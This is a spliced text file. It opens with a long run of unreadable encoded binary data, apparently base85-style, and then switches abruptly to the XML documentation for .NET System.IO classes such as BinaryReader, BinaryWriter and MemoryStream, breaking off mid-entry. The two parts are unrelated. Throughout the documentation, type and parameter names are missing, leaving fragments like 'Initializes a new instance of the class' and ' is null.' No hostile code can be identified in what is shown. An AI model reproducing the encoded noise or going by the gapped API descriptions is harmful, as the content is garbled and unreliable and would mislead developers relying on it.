zQDcD}62!znKOoDqbBPzT=SRbAD7N`O#kCJp#DiWSA{9;u8VqxVAWcLLJSrv{gwzW) zL#GHL2lRVMdVF#UumM)Yqg{!Frcr!yG(Qsz0BP*Va$UJ8TprjdvQR1DNn+by4&w9D zU;D^7AiL!B!0q`m!A{SQsWpXCX`m0_y4nR3QjWhDF0vROn3gVKQCR z<1rbz?SmpFt6x{>pHl+s9mL2%i1-*}(trRC3>wTK);7e^64@)CN1WJpt9cE3>L%4~ z-;`fG|2FpZyy;))>4{T(iWc_RG2mJ8t?PG>-Yc%P)ij{ZR}>EXl(S^=iANb~^G?ZT z`1g5ksj~2;%=N= ztT#);m9N7}I+aI3&A3%5MnicA(wK~7zd&@{mWxIhsEFJOUT1UFzuMnP!=QXfVnC=-N9 z5CwuT2%RcuZ(+F4RD#MU6bRA4#U#(dXli8hE3go-22hV2`7)_Ak{h9`a77kf$_cb6euIz% zv=2LHVy((4fGC8XX>z27eWh5)BIj|uu!(bJO!Dc}JRw4@IY;Hgh%m=X^j`36iDu9qf%DBNc;uG%}wGhUD9aA1s=YE{3}J#`A=N zR6&f01p`IAhl_nkA#$x-q2eUk2O~cO+2ovBi9EL28ZDdKaP~T>=Sg_n; zk?W*XmXMzchLj)8M&PAKO4e*!wxt!v(u$44`CJnW^`geGqQLsYVd$*>tbjoOq3*81 z-hu9L_Ev_dAbkIkwE#d|T|@h;G3!*L3{INW$0T>JzFfY{n5{C9^L5H_!y8L)umfzj z?#-F&aMtK;p+dlYulI_gO@}bv`?x+y5k?=4sKZPl7DtGljF9)EF=k-XNLEu=;z=dlSe z7H%A5#i6EwL2f|}FJ3><-dpOj>G{3LU8Cn8B&3e%9~MQ-lkxo2FfinNVG=(&o-5*q zd1Ml+^sr2OTOnT*#uFrqgj}8|HB8!CVZ`Y~4$j6qqSz_XQRo%^bQl1VX?=69Lp61wzORPTKnc_5$i5K6Q@{F`B?}kAW|Rm_&j` zNuGnmY{*#g5O0rw$9;&vfS(8nQ9OM2#{#!_IMoVYp@3rGJPAVk$vilmlEUFkCGm8J z8~iPBI2A*#kS7VHfcGL9Wq~wYKzy(27GS)9AEe{m5J(e39tmgS=sp`fmTY8+ ztiS_8P&U*82Wg^E8d)MCSrl;Y56=M5uRnNg+(Fi0@Y@7JNIZP3Nf`;f5akQu$puYy z)cAL@<$>n~gZJTMn#@hqKLtu6v>gk691+xgBb55*x?)3a7Wfhq;U9~_CzV8m-U!*! zfks0;iA$_o|Mt8@D-&`{bWI>}i~UaiU^ra}r%d5p0q{$MHW5*3jD92cHjsl2dE7yJ zEGUI&XM%qQ+2$}SfDI(tt257^TkXHA&D@|o3`PwX$r_CQB>HbD9NF z`7{jUDB|)=nZ7D?nyw5i1DFbZnHU4hv!h{*5+{5h-jx!gip$e6RKh5uNl;m~E!}A!&@jUwG5;_f|(KM|6$tnOF!Zh(L6}RO-f+}xDLj9bXDfq;8vD6#}0_)D1f%O ztrX(9RsRvmlyOBuGDS^>uYW)w#{};!hCPy9<5S}JLY7;QJIg)DufHqqVQp@O+uNGE zxqH}idgF%T8tMJEM(thzJP+$d)i5T5=y`C!9pV*ed2m|)($l01N6jv5+c2hXiN87B z)iZU#UYFX-BZ}{R2(rz%KEvH;?3vA%V_wWYxk+`^+bJHq&1&jwPqmi(P#45BkJ0M3 zqcXOwWz6FIO>=u!wApBW%d5yT*w`Dg7-hc)~<>lH`+x%@ZV9q$I=> zu@>-qO2TKGY9Vb#qF<8T5_%;Yvfv|`axf}o;IuBr@WF@TLnIidqb5|(s1YIlJF3Ec%l1yw$~>s~8Q&+j&-0X-|+d;OA+!oWixhhJ@N zE~ywUTwz$aFVF0>w!%ph&CtuY@xC)$_6O3Rj;ZM#XJS$iy*}yFp5n2aowm4K?qOtn zKDgq;{M>{dTU}RoAFnoItfeid%qY45vK5y*6^(Vh_Nul4a9@K<0BWoV59l0p!nEiFpd;MW{X>M?5r)VZN!GmK??EQ zDgP1Kelle37McDR7WrQqriEVxwg(>3_nF@CxKhU5U+(dRr|rc4r!xO5~V!ic^%A$|!L$aQmehjLu%;r6OzqoME z>sy{}iH`4j&!{@6aFVfp?u2PW()G9=o4TFIj+%Y+n9ZgyBLydUii^DP-0tHaOrGGs z(=#a|Q?Fw8$EBKqP5Z9+Iy_0eKg4gK)}}&bhx4gF>0 zU1|Qk(9+&pC)y-WjoZx9u{Zs$SEg23E-_4zpsBFm4OBYCTFv~fzQj7wX?>D5rbQu0rq082kyrCseP<)4$+llG|j9yHV!s@ackVp!O8|V=h((@&8>O1 zxOtRqRE)Vpv}F{B7meFE*jslpfalbopRL`gJrb+2V_Ru!@AD~E=!u6AW%gwF<6r_y zzy#*I|CbCP^kwMDVD}<$dvhy}In2H|X#z({>=T$kKOBsp1cM25`ZE*w7raG3ja<^+ zt=kZ^;K2awJ2#v;>Qzj$Qr*W}Q?H_7Dr#5OUg>K3Y>t(E-#XV*^x0{ztQNLztdIRh zyHl?3=jtBb-Rto~f9>W;^O|RP~B2xtDFQhWc=N)p+eMp5MR3eLdnH zRzFB1%c`s?@8o^wZnAH>oK#pIDl>TF<-%3DtLUS@4t=c4me~^EX))(>R$UKPo6MI! z2|8Mzg^WFl>x-jbtB3o$dlmH2HUDyXw|r29_2P%xC-%KewRt|G>Cr3g<2t9ARRb<@ zr`GRwo4I&RKAtCY5bWJrvAt8^S{W0+;zWq^ld|v#a)G8GztDK*qPP8`v2NOQnA|ws zh;<_+QeHauam?|)ViRU0o$y$J0{BY;t}s`{$Heo%t;B-8wm8^*5@nIAG90%D&zmL3 z!HQUwS++w<0{)YB_FpZnb_hemy5Z5)`o)nfmP=83P@+@!8-nxaT3#l6FVt3h_@KXN zitZkZ63f>=?jLjUGrTTDcWg!|%sjh|<<;68x5d}Hp!`sl_qgSrvbVqWey}oa#-&ZE zZj*23-g$TEt?k;HF!#F^TOA*o#ue(WFBhhUv~*qE@Xcniu;fO1M2`&jDbwt=FQ<-{ z*&iENP`)GH;&wO1?+ZnJ>eDTP?`h$oZM6ka-_F%UcyI#tnP@gRh&q12u^EzB<@&(uuDa*y{-f8MiN^Qabg$7fsQ&9F179eY?W(yJ|dZ$)jbF12%93>joaIGsnA0GilKn zN<9?7TayNU6<0L4lPy!(k{9V5Vp8~|x8_%~M+!kpLL1iN0b*O`g?r-eC9Wld^9TL8 zEtB?lA#`mX^lZ|K1xu_JSg|2E7-b0tD`x*^R!r>lCI$>KUV!Vb_KSw0PzR^U#vT=~ z1kRO~yT-m!u}I$F_3>3iTBFYZ^P8?)6~CW*Va{1&cz!~_vK)i(EshpG`^z?jtazMq zVDHYhtX*Ehk4`TKPd@udscZbX@)a!e&x!#jLN1s;9$I@a<=F=1GJ1K)!@aY-N4#C) zvZCc()0@ZnJ*@}s4JmF8GMr|%HcxL+{bE`DxAlH)b4t%X*DPP)ccy#oJmC_vaY@T{ z+w_`)Zp5DN^&?FGLfM={COfitA#P>EE_`~iW@N~{42}O1clB zkNS9NO{{{b+_ur&qU)KbLOYFCLFK^Myib8U3aqsGJyd4hQ@bDCD!Axz?P}K-Stl4f zuYT$Gpy#YrTNJ)%nmBK5`1EMwWRC-~k)HfWXTR+(ul*XU(zEImtmTvRayUKfRf6w5 zDgE-qQ*CSXvL6B3>w?O+npqgKf%TE1Ju;<;P7?8f$(aJpt)2 z-TGF0{0HqRM*C)58oR-hV^Mtf@i@nuXi}8tm5VcK_Ue3A5f&U><5)p+9{VGH`O0_1KScf|9UvS7cPB=%c7j_{7c-#Gav>^E))YYQ;oHdeR;VZS*fguhq-@SpqK z|5w&~b!lSdgF8bOnoUSxcYAcG{_)A8VTJ))FW%GfGg5tXW&IVOtss9#e67y9=Z2)4Ie(u{TZcdIW9Hzx>41gKe@U-+y?ZQUkr;m$CEbj%h9Lu$B3%AGQ_xiuH-oO12?qt2yq(&I5H`sH8=Pn~`t05zIKAu~UqxC!U zTgqF@{f{p%^3<}nYL^ZzDc|aoI&(;alJRygZ;7~ReG-iw`EGwxi> z8s>{tvPI)YCn;%ezIb^2yuIve8f9~mqV|rUo%3U91{B@PcCH_BpkidP-Xnc1f6IZ) zx3e$59)P{6KRi!C=1jqm`sSc6_xv|6Y{W`jmq@ekRNs}&l#G|aqKHpJo7Te z@y9d;%?HO6xO1Ct?(O=@Z}#MqHhsseseW~EqN2^?93d)nwUc?^`~n@(;Uq! zLg(#mFnF?S`&r)3%wU;ogV_OF7H==l++0<%G)?!`!s(i6y(}y@$R(GIp3}R!q-p9| zgB!1U_}3J_@p||X;|pdgPCOHT=4tZF^@SHXeSWB%9358Y+r6~zv&E`G?BUu8HJWR_ zaq>)8;d!RT;OoUJE`UA93_hDnF0RY4%f6IM+K** zb|Dsnk{1~qSPb4_>=`}E<9&5`Zo$D_50wuX`_8DvJt!=cIQF=0iC&KGZ}#ulu&)Gr zS*76RYhRQ}mve;cjyi{eKb4V(A?4L-yAoXL$32z1btHGug(CfvbQ>y3HrUl?X4tU3;EQQ+I+tlcrs3w1&- zZYrp~y~iae<8aipTWh|W2kZW@ZShH�$pQO;0L%zP?$;33|s|xiPHa)JnRw5;{9V ze%93``)>{%SzuU8uVFlY3IxyOt!(n z<72Nc5V{U~H^t+KX;sY=VV}qMAKGb6Og)`cajP`X*a6R@8FjP*laoj50#WK@znlAy z&GWzCbD;FPa9pQDYC1Xt+8E8t8e`bzgi?ub5#HKTI-LIFx7i|Df`1d6y0QaJ%pNbIU8ERO3(V z3Ex)JYmB*F+wAN1(QQAn@DufGp1o??S6%SEII&^i!Q$eCpnIiDXY0TC_I|u;i=ePk zrrW$K&%l=MtxD^j9yb|2wg1cK8RmVL6!r|BdsK1k&AT5(l_r|u8xtMxUOhD2$MnUd zYnSd^4XjaZGUoU{nlP_xV&lZ?9%okhGhyS&NV#JmGB8e_;Ws?b@RL;6#Qv1wONe?3 zeTSn;s4y~r2*#%~XfWLHu#T5ukBV>x{pB7N>8_x>%V0HZxYM&IKfvj$%F6Vs2IER= z_g-S}OW5V{)l;@LUbi)mi+KE5 zhpt}#!dmmN+vL3k1IK zULIi8U>0?Am2TZ?d}#Y6I?ng2i^T%gM!90sp`II>zu(%C{jKh~J$5kHeRKckx@Pwr zrVNt3Q}<}zSBHMKtFYBgaT#Ya1x{_OA4_%B4!3N&%w4sicxtuNwu-X~p-&2Ci`^Qq z6*U=F+~dXWiQdFslf+2?M=K>$ppP6z@t>S(Ijf_gXjJb0KCdCI_hk$GW>o5b!TW1# zZP}M+X~}bNu(CCevf|m9TU*+3%(>Q4(dIFH+$x4^XUVgQ!8>_Oh9pNn36Qy(x2db0 zU9Vk98_uTDmi+bh*Kc>H1SzTH4jA-qsc)9(&JhGL$L-8ltc_AI;1)Gd1RYPuQ?*jGouU{_CulM%{Vy^s&;d?!42Vb-1th zA-T;B=O<{C?_PI^AE}~m6>9%L`;leXq|4(qWOH{;+Pg9Qj@yqIpH}kZydkNNnZC(cKa;b&TYO$VU7w_|eF6LU)QQ5J$~GsJ$Xn+R zbkCXZKU;mqm<+iCk7sS3ERc8VyCwFhXXB0y;n@SX%e;@Ab={*mB<$__zT4UA+7kLy~T>vla*`_bUXP+26#g6WbrSMko-To=gGonm5TRuo-(18M%5={s1V}qwy;BBLg z+j{OZ_sdc`@H#tuwcXfTL$;=`w0Lni(RQTn^@U$wKX_L;#!_persn%Ti{97RYu~ha zmSB(P$!3F7JWAqFQJD{a>Jl#cPn`wNo$();3&80uo(uYP%msh#HSd@eIN*G-w}j0b zvFpW_gdCiJ|M;wxNBi|?0*yGDK!c+RFy=Nle-^6gvA5PGZ^~2iwch`B_eg`)F5S%% zUW^LZw3lhG%kbJi`M6S#dv*z@H0l(a?T-~Px1Vvij%jgRuFh1>ik?1caimdV#VW5A zFXG13K3E>KL!saCid!4|Zp)UhxVbd+Y^1KtiA(!2g)rP{3?`ybjzZ%K}}$y`^$Q#HTpyr}K*eOcw}VOix~eV!>FF44?5yx6hn z%j3SI)Oz}cn3iP=A8Pd9<29zPvC(zGlw0F>jL+|W%c*is`16_mQ+3~#T7)*tA7H-C zYUIg1PTwuBR?!_RcT_C2pH#atr{8~O)b`SZ%7xqX4A*ardCl!P_K~UA%7_{Dy~D2> zcsm82*fnC15xx0J_GpXihL2OiRflO|@|tnu5)=x<#AoxD@OY)lX*g(Rmugy#KeocXT%v}F7qyPelby?-Z4vwp ze-WO$nh>7F$SuTk7vs4Lq^>zO9hQmsAW3mFOxx=3iX$fPXaO%3&ac2v+JsrWlvH+{ zC<%9#GN9qsJuF%Jl#`|rIP z*~8#0UG~*FQEac}ic8fW@fH@jES*@Jr8NI2KZ4!QsqMJ%O45|?hX*}ZI6I))bK{zK z@ppLDy==-0!}(L^Pn_)$FuYD_;e=XUZ@qT|U1kSf-u^A&v6C#j&+?~^-OI1-($84z zQ2!#j#?3J^+wh&{#C7vUQwmzo8Phz>j?Gd#uy&)2((=Z*&vEP}C1!)n5=MIQddkNq zk6O00VM^>-v2t_@*$h14un%J==Fd6V@7T_(D(Pk-WU#$R(hJTNN%xIWLeF#o~rcWrOA zON&h&T_`WS{3e_?`0;4j71N!V8O$rp%Cw$Zhq>Hc&38|AXB>Vo__T`YoBMo=*M%QS z!e8>JqHLf;jZ%X<$|E6VA48TC0?xx9RkdqxkNQ?+GftFyCveIBx;=jJb-hB@z7 zwN)qV@h+@?m6oad`lVe_mX7z28&!sJX-_LYf1UkGG3RCcfQqkpBg1Fzg9m9zyakR| zR)+ZbSLclARhp@8X^`DCSfO&zmksCFh951Rv3$h15WgYrM_g)_r;k?18ItfVYxU7X zNl9aC0#h}WvjZ-0^19r{^Saz1eF;nc>4{71Quxg$A>~W6B=;m7TvU+wq`EOU;P=M< z@BLdA(ywEA2B#N;Rb%bb|NUB{(JGgE-R@%Cu=sfK?wTs!fGFnFi#JtwTiE>veO>tM z3)B2h4c)r(TF&0xZP!|QOrEf9>Ef)Gy@Ib;bCHE_?3){$%?AaZHIHs-W!U>{sEh4Y znq=wgd?iM)@LgKc<&&4XV=tQA<@fKi2voVZal^fdKG-;YUAm=g^}O3 zRz;W(ontwi&GsAbT^V~Ju{fyyoeY)C<4uWh3S-+5+PWSuy$ z(rbO1-HGXzZT*|pgnDRQzq@?uw16eI!yGG;O43mGlG87&U$L70v&@BFr6JB4Av0y%87Q@>W@`+Q(kv@&u*pKkTf6LaVkH& z0;j1)&GURmV-BBSV{TBZqX{#N4K8(Au^sGeN8z$iKn@LSEy>-tHh1?weyr8S#oZN- zwYm;Aw{&xH|HEUgC3z~B!A&y`&gF$lmgMreX5^Bb_R|dVKW9mfx1VOQ!#S25D_a}l zXr3js4*{(Sh)?*Bd^{NAM&geL{f>`^&WE3g4+b1M->(aD>RI89`pO40)Mxc)z5c3M z`2O?c_{9mLV72Sz3Mg;dm&OTk-u)s@9)H3;mcGX+rtj$HE6zW2<%P;C@xIWp4Y?MTmj z%c(s?+}H&Xxxtl}7WphZdSYGp6|QEo=_%b$`8fw3aKCySHPJVU)e!0$%&PE?o*58T z8U8J!r(^Sov@M5bx%fH{yP~>+=@dKpeasR1QnyJ>m%YCwKPf(2x#4ZLnF6QzwjXoB z?iq46&olM5zbLve@R^0%{`IYQqYtgcj>^NI(~vj_mfs}qoySd|GTp&f4(5S{vqVtyysvmf zSFR~F5LCTdcm6%+@Fki0jo&|yNa}`H9XlCQGxovzXU&<1PH$M%`|+oPjS0acF1rD2QR-H*7Zl&r!ie^mKlY3i<(^2&Qw%SJ~jER-NaFY^xhU_ z4P6k3D(qFezPHHA<=@)4E1}`^#Sdq*k-!^wGwL<)QX{>5>AcWB2X}vCJW5$@In?Ca z@Cu9XyPwRpIuI36d}oC7iUUwThj<<5WLDKORYsv8V_@w{UzHV{rsd9y-`D+iY(%r^znX-3R&hlRNtX;jIM8E#nT0Myu z+FLc7?Jy#}Y}_X1EY+FX`?>4Y&lT6HcoyfJynJE(<)(>KnjZ}qC;uQ^w5*pL_xARH z9)d$HkI;i>9ND#t`hVnmWTVled=6Y-cI2K{nowH zupT*Iy3aHVcGxlc_8H~jMcLC+2gp5LX8y9^p%q)B&-)`5!6pVD&usC#ZMwH|?EBcwFww=>{pc9a{C+Kdz0hyD@LancmjU zuG~BGEP1yybw|w_quPI~Ap7RK#Mzg=-T%~fHrrHa9Q!iorlYRB|3}9g)vHdtst?d= z(w<--mu{uv-n+y?^Zg0cc&6F1uB{EHgHo`J>B9`B_q&&{@kHWcTa?se>#&M-*`tMX z)$imR#VTT5Cr9-d*#-Riod2%bu?9l&LXJtq)Km5#P!H`QsGiiFKXM0`pZLHwSTvJbb zyZze2A3^Su7)PJ2tTGD^b-2-E%F|)GJeMI+6TPk)%~DLXOl#0qpeMaGN+0=H-Pa^Hyh?=HJHlIIQ&BQMc3f>U0(3w%OYwoU2C=WoI1URQ)6Y@XJye{_uKuPo)_IM zGU_pUQKMV#Z55Z36}d|{7ag3hB%^EdZm(xfjo$z#kE(@X(K~gr4tlA2oO)5({rLy` zixrjMhUM@Q<_y`E?3A7Arc`?VV8MYtuXTcwuGF9B@go8szYC4$+Srht695SL@za!1tq!1@Z9RPxd-vwegBcA z_fJ2%`1RL)e!)THulsE5JZ#NfIqtZ*jg7S{r!U?|ykzgydCATS5~K-ve3ma4{t%du zwzC%l)As`T>@x3smgA0>^j#>EkM1}w6~dy4R_30v_Nu=-PI zX8;~}2*aP?py_4M;Jh|`H$qrvs5nCy<1mrImhw7{13T8zb2;S4Yl#95|34AK5qoh zgHJE0WE!()_r3VmYti(;N5%v8@7NYTd&7+*tJ7Wk?Jin&<4Im)ps4Oc>#Ed!sr4o{ z9uFpL8|!>le|^aF%Hc0s9%dXJ#aO6ZzIyJcS@S248lXN?Ye4X}^a%CgtK0|n-=H_> z%j)>d*blACPuutpRkWz zoZMPG_Y$6a9?z|0X#H;Z!Z}hrH)rjn|B1?iLuk)5divz0*a@bX%jYL}mbwd-Zgb1oC?vecV?9K-J# zfBtF`pzw_u&M(Ydo#pequ-o8O4@=i~-R`qwYtXE*yd_SbMlauXDx7`s&goIyy9W%N zH##1OFIbRPu=(t{Tj^ob*1D)w?wWpmTKtAu|HSEPszVp$M{0kFsH|!!D}Ej6*!_h@ zU2Dx3w;;d6E-hS7?c(TURm}3%mW;i(UA!h~o<7``ErSIe8nnIskou}_joSj&T|BwE z)bNF~XZ@t8D|4B&KBwaQmd!eKaq5u%kpo&a(t`4`9i}X-d!h7ZCA0MMHM7(iq5h2< Wp1$q6S?`&3-GH>3>Qxc2ZvH + + + System.IO + + + +

Reads primitive data types as binary values in a specific encoding. + 2 + + + Initializes a new instance of the class based on the specified stream and using UTF-8 encoding. + The input stream. + The stream does not support reading, is null, or is already closed. + + + Initializes a new instance of the class based on the specified stream and character encoding. + The input stream. + The character encoding to use. + The stream does not support reading, is null, or is already closed. + + is null. + + + Initializes a new instance of the class based on the specified stream and character encoding, and optionally leaves the stream open. + The input stream. + The character encoding to use. + true to leave the stream open after the object is disposed; otherwise, false. + The stream does not support reading, is null, or is already closed. + + or is null. + + + Exposes access to the underlying stream of the . + The underlying stream associated with the BinaryReader. + 2 + + + Releases all resources used by the current instance of the class. + + + Releases the unmanaged resources used by the class and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Fills the internal buffer with the specified number of bytes read from the stream. + The number of bytes to be read. + The end of the stream is reached before could be read. + An I/O error occurs. + Requested is larger than the internal buffer size. + + + Returns the next available character and does not advance the byte or character position. + The next available character, or -1 if no more characters are available or the stream does not support seeking. + An I/O error occurs. + The current character cannot be decoded into the internal character buffer by using the selected for the stream. + 2 + + + Reads characters from the underlying stream and advances the current position of the stream in accordance with the Encoding used and the specific character being read from the stream. + The next character from the input stream, or -1 if no characters are currently available. + An I/O error occurs. + The stream is closed. + 2 + + + Reads the specified number of bytes from the stream, starting from a specified point in the byte array. + The number of bytes read into . This might be less than the number of bytes requested if that many bytes are not available, or it might be zero if the end of the stream is reached. + The buffer to read data into. + The starting point in the buffer at which to begin reading into the buffer. + The number of bytes to read. + The buffer length minus is less than . -or-The number of decoded characters to read is greater than . This can happen if a Unicode decoder returns fallback characters or a surrogate pair. + + is null. + + or is negative. + The stream is closed. + An I/O error occurs. + 2 + + + Reads the specified number of characters from the stream, starting from a specified point in the character array. + The total number of characters read into the buffer. This might be less than the number of characters requested if that many characters are not currently available, or it might be zero if the end of the stream is reached. + The buffer to read data into. + The starting point in the buffer at which to begin reading into the buffer. + The number of characters to read. + The buffer length minus is less than . -or-The number of decoded characters to read is greater than . This can happen if a Unicode decoder returns fallback characters or a surrogate pair. + + is null. + + or is negative. + The stream is closed. + An I/O error occurs. + 2 + + + Reads in a 32-bit integer in compressed format. + A 32-bit integer in compressed format. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + The stream is corrupted. + + + Reads a Boolean value from the current stream and advances the current position of the stream by one byte. + true if the byte is nonzero; otherwise, false. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads the next byte from the current stream and advances the current position of the stream by one byte. + The next byte read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads the specified number of bytes from the current stream into a byte array and advances the current position by that number of bytes. + A byte array containing data read from the underlying stream. This might be less than the number of bytes requested if the end of the stream is reached. + The number of bytes to read. This value must be 0 or a non-negative number or an exception will occur. + The number of decoded characters to read is greater than . This can happen if a Unicode decoder returns fallback characters or a surrogate pair. + An I/O error occurs. + The stream is closed. + + is negative. + 2 + + + Reads the next character from the current stream and advances the current position of the stream in accordance with the Encoding used and the specific character being read from the stream. + A character read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + A surrogate character was read. + 2 + + + Reads the specified number of characters from the current stream, returns the data in a character array, and advances the current position in accordance with the Encoding used and the specific character being read from the stream. + A character array containing data read from the underlying stream. This might be less than the number of characters requested if the end of the stream is reached. + The number of characters to read. + The number of decoded characters to read is greater than . This can happen if a Unicode decoder returns fallback characters or a surrogate pair. + The stream is closed. + An I/O error occurs. + + is negative. + 2 + + + Reads a decimal value from the current stream and advances the current position of the stream by sixteen bytes. + A decimal value read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads an 8-byte floating point value from the current stream and advances the current position of the stream by eight bytes. + An 8-byte floating point value read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 2-byte signed integer from the current stream and advances the current position of the stream by two bytes. + A 2-byte signed integer read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 4-byte signed integer from the current stream and advances the current position of the stream by four bytes. + A 4-byte signed integer read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads an 8-byte signed integer from the current stream and advances the current position of the stream by eight bytes. + An 8-byte signed integer read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a signed byte from this stream and advances the current position of the stream by one byte. + A signed byte read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 4-byte floating point value from the current stream and advances the current position of the stream by four bytes. + A 4-byte floating point value read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a string from the current stream. The string is prefixed with the length, encoded as an integer seven bits at a time. + The string being read. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 2-byte unsigned integer from the current stream using little-endian encoding and advances the position of the stream by two bytes. + A 2-byte unsigned integer read from this stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 4-byte unsigned integer from the current stream and advances the position of the stream by four bytes. + A 4-byte unsigned integer read from this stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads an 8-byte unsigned integer from the current stream and advances the position of the stream by eight bytes. + An 8-byte unsigned integer read from this stream. + The end of the stream is reached. + An I/O error occurs. + The stream is closed. + 2 + + + Writes primitive types in binary to a stream and supports writing strings in a specific encoding. + 2 + + + Initializes a new instance of the class that writes to a stream. + + + Initializes a new instance of the class based on the specified stream and using UTF-8 encoding. + The output stream. + The stream does not support writing or is already closed. + + is null. + + + Initializes a new instance of the class based on the specified stream and character encoding. + The output stream. + The character encoding to use. + The stream does not support writing or is already closed. + + or is null. + + + Initializes a new instance of the class based on the specified stream and character encoding, and optionally leaves the stream open. + The output stream. + The character encoding to use. + true to leave the stream open after the object is disposed; otherwise, false. + The stream does not support writing or is already closed. + + or is null. + + + Gets the underlying stream of the . + The underlying stream associated with the BinaryWriter. + 1 + + + Releases all resources used by the current instance of the class. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Clears all buffers for the current writer and causes any buffered data to be written to the underlying device. + 1 + + + Specifies a with no backing store. + 1 + + + Holds the underlying stream. + + + Sets the position within the current stream. + The position with the current stream. + A byte offset relative to . + A field of indicating the reference point from which the new position is to be obtained. + The file pointer was moved to an invalid location. + The value is invalid. + 1 + + + Writes a one-byte Boolean value to the current stream, with 0 representing false and 1 representing true. + The Boolean value to write (0 or 1). + An I/O error occurs. + The stream is closed. + 1 + + + Writes an unsigned byte to the current stream and advances the stream position by one byte. + The unsigned byte to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a byte array to the underlying stream. + A byte array containing the data to write. + An I/O error occurs. + The stream is closed. + + is null. + 1 + + + Writes a region of a byte array to the current stream. + A byte array containing the data to write. + The starting point in at which to begin writing. + The number of bytes to write. + The buffer length minus is less than . + + is null. + + or is negative. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a Unicode character to the current stream and advances the current position of the stream in accordance with the Encoding used and the specific characters being written to the stream. + The non-surrogate, Unicode character to write. + An I/O error occurs. + The stream is closed. + + is a single surrogate character. + 1 + + + Writes a character array to the current stream and advances the current position of the stream in accordance with the Encoding used and the specific characters being written to the stream. + A character array containing the data to write. + + is null. + The stream is closed. + An I/O error occurs. + 1 + + + Writes a section of a character array to the current stream, and advances the current position of the stream in accordance with the Encoding used and perhaps the specific characters being written to the stream. + A character array containing the data to write. + The starting point in from which to begin writing. + The number of characters to write. + The buffer length minus is less than . + + is null. + + or is negative. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a decimal value to the current stream and advances the stream position by sixteen bytes. + The decimal value to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes an eight-byte floating-point value to the current stream and advances the stream position by eight bytes. + The eight-byte floating-point value to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a two-byte signed integer to the current stream and advances the stream position by two bytes. + The two-byte signed integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a four-byte signed integer to the current stream and advances the stream position by four bytes. + The four-byte signed integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes an eight-byte signed integer to the current stream and advances the stream position by eight bytes. + The eight-byte signed integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a signed byte to the current stream and advances the stream position by one byte. + The signed byte to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a four-byte floating-point value to the current stream and advances the stream position by four bytes. + The four-byte floating-point value to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a length-prefixed string to this stream in the current encoding of the , and advances the current position of the stream in accordance with the encoding used and the specific characters being written to the stream. + The value to write. + An I/O error occurs. + + is null. + The stream is closed. + 1 + + + Writes a two-byte unsigned integer to the current stream and advances the stream position by two bytes. + The two-byte unsigned integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a four-byte unsigned integer to the current stream and advances the stream position by four bytes. + The four-byte unsigned integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes an eight-byte unsigned integer to the current stream and advances the stream position by eight bytes. + The eight-byte unsigned integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a 32-bit integer in a compressed format. + The 32-bit integer to be written. + The end of the stream is reached. + The stream is closed. + The stream is closed. + + + The exception that is thrown when reading is attempted past the end of a stream. + 2 + + + Initializes a new instance of the class with its message string set to a system-supplied message and its HRESULT set to COR_E_ENDOFSTREAM. + + + Initializes a new instance of the class with its message string set to and its HRESULT set to COR_E_ENDOFSTREAM. + A string that describes the error. The content of is intended to be understood by humans. The caller of this constructor is required to ensure that this string has been localized for the current system culture. + + + Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. + A string that describes the error. The content of is intended to be understood by humans. The caller of this constructor is required to ensure that this string has been localized for the current system culture. + The exception that is the cause of the current exception. If the parameter is not null, the current exception is raised in a catch block that handles the inner exception. + + + The exception that is thrown when a data stream is in an invalid format. + + + Initializes a new instance of the class. + + + Initializes a new instance of the class with a specified error message. + The error message that explains the reason for the exception. + + + Initializes a new instance of the class with a reference to the inner exception that is the cause of this exception. + The error message that explains the reason for the exception. + The exception that is the cause of the current exception. If the parameter is not null, the current exception is raised in a catch block that handles the inner exception. + + + Creates a stream whose backing store is memory.To browse the .NET Framework source code for this type, see the Reference Source. + 2 + + + Initializes a new instance of the class with an expandable capacity initialized to zero. + + + Initializes a new non-resizable instance of the class based on the specified byte array. + The array of unsigned bytes from which to create the current stream. + + is null. + + + Initializes a new non-resizable instance of the class based on the specified byte array with the property set as specified. + The array of unsigned bytes from which to create this stream. + The setting of the property, which determines whether the stream supports writing. + + is null. + + + Initializes a new non-resizable instance of the class based on the specified region (index) of a byte array. + The array of unsigned bytes from which to create this stream. + The index into at which the stream begins. + The length of the stream in bytes. + + is null. + + or is less than zero. + The buffer length minus is less than . + + + Initializes a new non-resizable instance of the class based on the specified region of a byte array, with the property set as specified. + The array of unsigned bytes from which to create this stream. + The index in at which the stream begins. + The length of the stream in bytes. + The setting of the property, which determines whether the stream supports writing. + + is null. + + or are negative. + The buffer length minus is less than . + + + Initializes a new instance of the 